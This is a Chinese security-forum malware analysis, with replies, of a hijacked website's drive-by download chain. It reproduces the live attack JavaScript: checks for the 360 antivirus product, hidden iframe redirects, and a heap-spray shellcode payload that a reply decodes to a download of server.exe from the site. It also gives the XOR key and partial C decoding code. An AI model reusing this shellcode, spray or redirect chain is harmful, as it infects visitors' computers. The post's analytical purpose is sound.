对某站挂马手法及网马加密方法的分析
本帖最后由 后恋0 于 2012-12-7 18:07 编辑因为这个网站挂马有段js代码可以判断360软件是否存在,以决定是否进行木马下载。觉得这个挂马的人思路很好,就想仔细分析下其挂马手法,顺便分析了下这个简单的网马加密。主要是对该段检测360的js代码的分析以及对网马的解密。1、检测360的代码上代码看注释:<html>
<SCRIPT LANGUAGE="JavaScript">
<!-- Hide
function killErrors()
//容错函数
{
return true;
}
window.onerror = killErrors;
// -->
fEfYgDH1=navigator.userAgent.toLowerCase();//判断浏览器类型
laAtA3=((fEfYgDH1.indexOf('windows nt5.1')!=-1)||(fEfYgDH1.indexOf('windows xp')!=-1));//成功则laAtA3为真
if(laAtA3&&navigator.userAgent.toLowerCase().indexOf("\x6D"+"\x73"+"\x69"+"\x65\x38")!=-1)
//判断系统版本(平台自身的识别信息“Windows NT 5.1”表示“操作系统为 Windows XP”)、版本标识(“MSIE 8.0”)
location.replace("about:blank");
//如果如上则跳转到空白页
</script>
<head>
<Script>
//判断系统是否有360
var Is360;
var bFilter360=false;
//是否过滤360
if(bFilter360)
{
try
{
var g;
var glworld=newActiveXObject("360SafeLive.Update");//判断是否存在360,如果存在360SafeLive.Update这个activex控件则断定安装360软件
}
catch(g)
{
};
finally
{
if(g=="")
{
Is360 = "Not find 360";
}
else
{
Is360 = "Find 360";
//window.location="about:blank";
}
}
}
//判断360结束
</script>
<script>
var self_url = document.location.href.toLowerCase();//将本页面的url全部转化为小写,并取当前url
var strid = new Array();
//定义strid为一个新数组
strid = self_url.split("?id=");
//见到?id=则分解
var id = strid;//获取 ?id=后面部分链接地址,一般即id值
if(id == null) //若为空则id默认置为0
id = 0;
var IsSucc;
/////////////////////////////
var lesson = 15;
var num = Math.random()*100; //随机产生一个num(0,100)之间的数
;
document.write(num);
if(num > lesson)
//大于15,则IsSucc为true
IsSucc = true;
else
IsSucc = false;
/////////////////////////////
document.write( document.writeln("<scriptsrc=\'chk.php?id=" + id + "\'><\/script>") ) ;
//document.writeln("<scriptsrc=\'safe.js\'><\/script>");
</script>
</head>
<body>
<script>
window.onerror=function()
{
return true;
}
document.writeln("<iframeid='abc' src='about:blank' width=100 height=110><\/iframe>");
if(document.cookie.indexOf("IsGone=")==-1)
//如果cookie里面不包含IsGone即未访问过该主站
{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="IsGone=Yes;
path=/;
expires="+expires.toGMTString();
boom();
//调用函数对操作进行定位,进行重定向。
var tj_num = "";
//IsSucc = false;
//no ip
if(IsSucc == true)
{
if(id == 111)
tj_num = "1146589";
else
if(id == 112)
tj_num = "1003479";
else
if(id == 113)
tj_num = "2442875";
//下面是特殊的
if(id == 7002)
tj_num = "1179482";
}
统计代码1
if(IsSucc == true)
{
统计代码2
document.writeln(IsSucc);
}
}
function boom()
//对360检测完成之后的操作
{
if(Is360=="Find 360" &&bFilter360)
//过滤360并且有360则停止
{
return;
}
var url = "kbl.html?id=" +id;
var ifra =document.getElementById("abc");
ifra.src = url;
//产生新url,即为挂马的下一级!!
}
if(Is360=="Find 360" &&bFilter360)
{
window.location="about:blank";
}
</script>
</body>
</html>由上面
var url ="kbl.html?id=" + id;
var ifra =document.getElementById("abc");
ifra.src = url;
//产生新url,即为挂马的下一级!!这段js代码知道,网马的下级地址应该就是当前目录http://www.mtvye.com/wm/ + kbl.html?id=+” id”,此处的id是关键由上面代码知id可以取0或其他值取决于上级目录?id=后面的id值。此处看链接没有发现?id=字段,故id取0,由此得出下级挂马链接为http://www.mtvye.com/wm/kbl.html?id=0,进入链接后代码如下<HTML><BODY><scriptlanguage="JavaScript">var self_url =document.location.href.toLowerCase();var strid = newArray();strid =self_url.split("?id=");var id =strid;document.writeln("<iframewidth=100 height=0 src=load.html></iframe>")
//此处为下级挂马链接。</script></BODY></HTML>
下级挂马链接地址应该为http://www.mtvye.com/wm/load.html进入分析,<iframesrc=1.html width=50 height=1></iframe><iframesrc=2.html width=50 height=1></iframe>知道有两个链接http://www.mtvye.com/wm/l.html以及http://www.mtvye.com/wm/2.html很容易就可以对比出来2.html是挂马链接明显是加密链接代码如下:<html>
<body>
<script>
function ac2(){
var a4 = unescape('%u5'+'858'+'%u58'+'58%u10EB%u4B'+'5B%uC'+'933%uB96'+'6%u03B8%u34'+'80%uBD0B%uFA'+'E2%u05E'+'B%uEB'+'E8%uFF'+'FF%u54FF%uBEA3%uBDBD%uD9E2%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD74A%uE4AC%u0355%uBDBF%u2DBD%u455F%u8ED5%uBD8F%uD5BD%uCEE8%uCFD8%u36E9%uB1FB%u0355%uBDBC%u36BD%uD755%uE4B8%u2355%uBDBF%u5FBD%uD544%uD3D'+'2%uBDBD%uC8D5%uD1CF%uE9D0%uAB42%u7D38%uAEC8%uD2D5%uBDD3%uD5BD%uCFC8%uD0D1%u36E9%uB1FB%u3355%uBDBC%u36BD%uD755%uE4BC%uD355%uBDBF%u5FBD%uD544%u8ED1%uBD8F%uCE'+'D5%uD8D5%uE9D1%uFB36%u55B1%uBCD2%uBDBD%u5536%uBCD7%u55E4%uBFF2%uBDBD%u445F%u513C%uBCBD%uBDBD%u6136%u7E3C%uBD3D%uBDBD%uBDD7%uA7D7%uD7EE%u42BD%uE1EB%u7D8E%u3DFD%uBE81%uC8BD%u7A44%uBEB9%uDBE1%uD893%uF97A%uB9BE%uD8C5%uBDBD%u748E%uECEC%uEAEE%u8EEC%u367D%uE5FB%u9F55%uBDBC%u3EBD%uBD45%u1E54%uBDBD%u2DBD%uBDD7%uBDD7%uBED7%uBDD7%uBFD7%uBDD5%uBDBD%uEE7D%uFB36%u5599%uBCBC%uBDBD%uFB34%uD7DD%uEDBD%uEB42%u3495%uD9FB%uFB36%uD7DD%uD7BD%uD7BD%uD7BD%uD7B9%uED'+'BD%uEB42%uD791%uD7BD%uD7BD%uD5BD%uBDA2%uBDB2%u42ED%u81EB%uFB34%u36C5%uD9F3%uC13D%u42B5%uC909%u3DB1%uB5C1%uBD42%uB8C9%uC93D%u42B5%u5F09%u3456%u3D3B%uBDBD%u7ABD%uCDFB%uBDBD%uBDBD%uFB7A%uBDC9%uBDBD%uD7BD%uD7BD%uD7BD%u36BD%uDDFB%u42ED%u85EB%u3B36%uBD3D%uBDBD%uBDD7%uF330%uECC9%uCB42%uEDCD%uCB42%u42DD%u8DEB%uCB42%u42DD%u89EB%uCB42%u42C5%uFDEB%u4636%u7D8E%u668E%u513C%uB'+'FBD%uBDBD%u7136%u453E%uC0E9%u34B5%uBCA1%u7D3E%u56B9%u364E%u3671%u3E64%uAD7E%u7D8E%uECED%uEDEE%uEDED%uEDED%uEAED%uEDED%uEB42%u36B5%uE9C3%uAD55%uBDBC%u55BD%uBDD8%uBDBD%uDED5%uCACB%uD5BD%uD5CE%uD2D9%u36E9%uB1FB%u9955%uBDBD%u34BD%u81FB%u1CD9%uBDB9%uBDBD%u1D30%u42DD%u4242%uD8D7%uCB42%u3681%uADFB%uB555%uBDBD%u8EBD%uEE66%uEEEE%u42EE%u3D6D%u5585%u853D%uC854%u3CAC%uB'+'8C5%u2D2D%u2D2D%uB5C9%u4236%u36E8%u3051%uB8FD%u5D42%u1B55%uBDBD%u7EBD%u1D55%uBDBD%u05BD%uBCAC%u3DB9%uB17F%u55BD%uBD2E%uBDBD%u513C%uBCBD%uBDBD%u4'+'136%u7A3E%u7AB9%u8FBA%u2CC9%u7AB1%uB9FA%u34DE%uF26C%uFA7A%u1DB5%u2A'+'D8%u7A76%uB1FA%uFDEC%uC207%uFA7A%u83AD%u0BA0%u7A84%uA9FA%uD405%uA66'+'9%uFA7A%u03A5%uDBC2%u7A1D%uA1FA%u1441%u108A%uFA7A%u259D%uADB7%uD945%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD74A%uE4B9%uE955%uBDBD%u2DBD%u455F%u8ED5%uBD8F%uD5BD%uCEE8%uCFD8%u36E9%u55BB%u42E8%u4242%u5536%uB8D'+'7%u55E4%uBD88%uBDBD%u445F%u428E%u42EA%uB9EB%uBF56%u7EE5%u4455%u4242%uE642%uBA7B%u3405%uBCE2%u7ADB%uB8FA%u5D42%uEE7E%u6136%uD7EE%uD5FD%uADBD%uBDBD%u36EA%u9DFB%uA555%u4242%uE542%uEC7E%u36EB%u81C8%uC936%uC593%u48BE%u36EB%u9DCB%u48BE%u748E%uFCF4%uBE10%u8E78%uB266%uAD03%u6B87%uB5C9%u767C%uBEBA%uFD67%u4C56%uA286%u5AC8%u36E3%u99E3%u60BE%u36DB%uF6B1%uE336%uBEA1%u3660%u36B9%u78BE%uE316%u7EE4%u6055%u4241%u0F42%u5F4F%u8449%uC05F%u673E%uC6F5%u8F80%u2CC9%u38B1%u1262%uDE06%u6C34%uECF2%u07FD%u1DC2%u2AD8%uA376%uD919%u2E52%u598F%u3329%uB7AE%u7F11%uF6A4%u79BC%uA230%uEAC9%uB0DB%uFE42%u1103%uC066%u184D%uEF27%u1A43%u8367%u0BA0%u0584%u69D4%u03A6%uDBC2%u411D%u8A14%u2510%uADB7%u3D45%u126B%u4627%uA8EE%ud5db%uc9c9%u87cd%u9292%ucaca%u93ca%uc9d0%uc4cb%u93d8%ud2de%u92d0%ud8ce%ucbcf%ucfd8%ud893%ud8c5%uBDBD%uBDBD%uEA'+'EA%uEA'+'EA%uEAEA%uEAEA');
a3=new Array();
var a5=0x86000-(a4.length*2);
eval("\166\141\162\40\114\106\154\167\102\141\75\165\156\145\163\143\141\160\145\50\47\45\165\60\143\60\143\45\165\60\143\60\143\47\51\73");
while(LFlwBa.length<a5/2){
LFlwBa+=LFlwBa; };
var a6=LFlwBa.substring(0,a5/2);
delete LFlwBa;
for(i=0;i<270;i++){ a3=a6+a6+a4; }}
ac2();
</script>
<center>
<object
classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="SyODDHJe"
width="0" height="0"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie"
value="cosplay.swf" />
</object>
</center>
</body>中间一段unescape函数内的参数,便是加密后的代码。加密方式为逆置之后进行xor异或运算,
如%u54FF%uBEA3解密步骤为,
0x00逆置: 0xFF54, 0xA3BE
0x01异或: 与某一key值进行异或
0x02选key: 代码最后%uBDBD%uBDBD%两句可以尝试下key=0xBD。
0x03表示: 即为 0x54^0xBD , 0xFF^0xBD….依次类推,
0x04地址: 打印出其十六进制所对应字符串值即为解密网马地址。 如图:
解密本来写了一段解密代码,可惜实在不堪入目,bug众多,所以这里就仅仅提供点关键代码片段1/遍历删除%u,并且进行逆置
//下面代码实现逆置,以及添0x,使初步解密代码形如0xXX的十六进制形shi
while(i<=d)
{
switch(encrypt)
{
case '\\':i++;break;
case '+' :i++;break;
case '\'': i++;break;
case '%':i++;decrypt='0';break;
case'u':i++;decrypt='x';break;
default:decrypt= encrypt;decrypt[++j]=encrypt;
decrypt[++j]=',';
decrypt[++j]='0';decrypt[++j]='x';
decrypt[++j]= encrypt;decrypt[++j]=encrypt;
decrypt[++j]=',';
j++;i+=4;
break;
}
}片段2
//下面代码实现字符串十六进制转化为整形十六进制
while(decrypt != '\0')
{
printf("%x",hexcrypt=strtol(&decrypt, NULL, 16));
i+=5;
}片段3://对逆置后的代码进行xor处理
while(hexcrypt)
{
hexcrypt = hexcrypt^key;
i++;
}片段4://最终解密处网马地址进行打印输出
while(hexcrypt)
{
fprintf(fpw, "%c",hexcrypt);
printf("%c",hexcrypt);
}
好久不写代码实在是捉襟见肘啊。最终挂马关系
挂马关系:
http://ww==w.mtvye.com/
└http://ww==w.mtvye.com/wm/index1.html
└http://ww==w.mtvye.com/wm/kbl.html?id=0
└http://ww==w.mtvye.com/wm/load.html
└http://ww==w.mtvye.com/wm/2.html
次木马依然存在最好不要直接进入该网站 本帖最后由 残剑 于 2011-7-15 18:23 编辑
学习了............感谢分享....
要是视频教程就更好了 ........
不错,看看楼主的分析 本帖最后由 sorataxx 于 2011-7-16 23:54 编辑
很好,浅显易懂,其实这类的网站太多了,关键是仔细
关于:hxxp://www.mtvye.com/解密的日志(全体输出 -7):
Level0>hxxp://www.mtvye.com/
Level1>hxxp://www.mtvye.com/wm/index1.html
Level2>hxxp://www.mtvye.com/wm/kbl.html?id=0
Level3>hxxp://www.mtvye.com/wm/load.html
Level4>hxxp://www.mtvye.com/wm/2.html
Level5>hxxp://www.mtvye.com/server.exe
Level5>hxxp://www.mtvye.com/wm/cosplay.swf
analyzed by 叉就是叉
本帖最后由 是昔流芳 于 2011-7-20 09:50 编辑
自己试了半天,也搞不出那个exe结果。 LZ,忘记分析那一段最重要的代码了! 这应该是09年的网马! 过来看下...
自己正在学习中.... 回复 sorataxx 的帖子
{:1_931:}{:1_932:}
好厉害。。
大大。。 真是强大~~ 现在的病毒木马太疯狂了! 看电脑下病毒,黑客思路很好,将来黑客还可以根据各个杀软的特点各个击破,我可不想用虚拟机,沙箱之类的上网......{:1_909:}